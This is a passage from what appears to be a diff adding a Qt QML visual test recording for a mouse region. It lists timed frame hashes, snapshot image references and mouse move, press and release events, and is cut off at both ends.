8448 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 8464 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 8480 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 8496 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 8512 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 8528 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 248; y: 26 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 8544 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 254; y: 26 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 259; y: 26 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 8560 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 264; y: 26 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 268; y: 26 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 8576 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 273; y: 26 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 277; y: 25 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 8592 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 281; y: 24 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 284; y: 24 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 8608 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 287; y: 24 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 289; y: 24 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 8624 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 292; y: 24 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 8640 + image: "mouseregion.8.png" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 294; y: 24 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 295; y: 24 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 8656 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 297; y: 24 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 299; y: 25 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 8672 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 301; y: 25 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 304; y: 25 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 8688 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 307; y: 26 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 8704 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 310; y: 26 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 312; y: 26 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 8720 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 314; y: 26 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 315; y: 26 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 8736 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 317; y: 26 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 318; y: 26 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 8752 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 319; y: 26 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 8768 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 320; y: 26 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 8784 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 322; y: 26 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 323; y: 26 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 8800 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 325; y: 26 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 327; y: 26 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 8816 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 330; y: 26 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 333; y: 26 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 8832 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 336; y: 26 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 338; y: 26 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 8848 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 339; y: 26 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 8864 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 340; y: 26 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 8880 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 8896 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 340; y: 26 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 8912 + hash: "d1f2fc2133f3d6554e41982196662c2a" + } + Frame { + msec: 8928 + hash: "d1f2fc2133f3d6554e41982196662c2a" + } + Frame { + msec: 8944 + hash: "d1f2fc2133f3d6554e41982196662c2a" + } + Frame { + msec: 8960 + hash: "d1f2fc2133f3d6554e41982196662c2a" + } + Frame { + msec: 8976 + hash: "d1f2fc2133f3d6554e41982196662c2a" + } + Frame { + msec: 8992 + hash: "d1f2fc2133f3d6554e41982196662c2a" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 340; y: 26 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 9008 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 9024 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 9040 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 9056 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 9072 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 9088 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 9104 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 9120 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 9136 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 9152 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 9168 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 9184 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 9200 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 9216 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 9232 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 9248 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 9264 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 9280 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 9296 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 9312 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 9328 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 9344 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 9360 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 9376 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 9392 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 9408 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 9424 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 9440 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 9456 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 9472 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 9488 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 9504 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 9520 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 9536 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 9552 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 9568 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 9584 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 9600 + image: "mouseregion.9.png" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 339; y: 26 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 9616 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 336; y: 25 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 9632 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 332; y: 25 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 326; y: 25 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 9648 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 320; y: 25 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 312; y: 25 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 9664 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 292; y: 25 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 283; y: 25 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 9680 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 261; y: 25 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 9696 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 252; y: 25 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 243; y: 25 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 9712 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 225; y: 29 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 207; y: 33 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 9728 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 189; y: 35 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 169; y: 39 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 9744 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 161; y: 40 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 145; y: 44 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 9760 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 138; y: 45 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 9776 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 133; y: 48 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 127; y: 50 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 9792 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 122; y: 52 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 118; y: 56 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 9808 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 114; y: 57 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 110; y: 60 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 9824 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 109; y: 61 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 9840 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 107; y: 62 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 106; y: 63 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 9856 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 103; y: 63 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 100; y: 64 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 9872 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 96; y: 64 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 92; y: 65 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 9888 + hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 88; y: 65 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 9904 + hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 85; y: 66 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 82; y: 67 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 9920 + hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 79; y: 69 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 77; y: 70 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 9936 + hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 74; y: 71 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 70; y: 72 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 9952 + hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 67; y: 74 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 64; y: 75 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 9968 + hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 62; y: 76 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 9984 + hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 61; y: 76 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 60; y: 77 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 10000 + hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a" + } + Frame { + msec: 10016 + hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a" + } + Frame { + msec: 10032 + hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 59; y: 77 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 10048 + hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 58; y: 77 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 57; y: 77 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 10064 + hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 56; y: 76 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 10080 + hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a" + } + Frame { + msec: 10096 + hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a" + } + Frame { + msec: 10112 + hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a" + } + Frame { + msec: 10128 + hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a" + } + Frame { + msec: 10144 + hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a" + } + Frame { + msec: 10160 + hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a" + } + Frame { + msec: 10176 + hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a" + } + Frame { + msec: 10192 + hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a" + } + Frame { + msec: 10208 + hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a" + } + Frame { + msec: 10224 + hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a" + } + Frame { + msec: 10240 + hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 57; y: 76 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 59; y: 75 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 10256 + hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 62; y: 75 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 10272 + hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 65; y: 74 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 69; y: 74 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 10288 + hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 72; y: 73 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 76; y: 73 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 10304 + hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 80; y: 72 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 84; y: 71 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 10320 + hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 87; y: 71 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 90; y: 71 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 10336 + hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 93; y: 71 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 10352 + hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 96; y: 71 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 99; y: 71 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 10368 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 102; y: 71 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 106; y: 71 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 10384 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 108; y: 71 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 110; y: 71 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 10400 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 113; y: 71 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 115; y: 71 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 10416 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 118; y: 71 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 121; y: 71 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 10432 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 123; y: 71 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 10448 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 126; y: 71 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 128; y: 71 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 10464 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 130; y: 71 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 132; y: 71 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 10480 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 133; y: 71 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 10496 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 134; y: 71 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 10512 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 10528 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 135; y: 71 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 136; y: 71 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 10544 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 137; y: 71 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 138; y: 71 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 10560 + image: "mouseregion.10.png" + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 140; y: 71 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 0 + x: 141; y: 71 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 10576 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 10592 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 10608 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 10624 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 10640 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 10656 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 10672 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 10688 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 10704 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 10720 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 10736 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 10752 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 10768 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 10784 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 10800 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 10816 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 10832 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 10848 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 10864 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 10880 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 10896 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 10912 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 10928 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 10944 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 10960 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 10976 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 10992 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 11008 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 11024 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 11040 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 11056 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 11072 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 11088 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 11104 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 11120 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 11136 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 11152 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 11168 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 11184 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 11200 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 11216 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 11232 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 11248 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 11264 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 141; y: 71 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 11280 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 11296 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 11312 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 11328 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 11344 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 11360 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 141; y: 71 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 11376 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 11392 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 11408 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 11424 + hash: "194ebac4ae7d95bf427f8161885a13e1" + } + Frame { + msec: 11440 + hash: 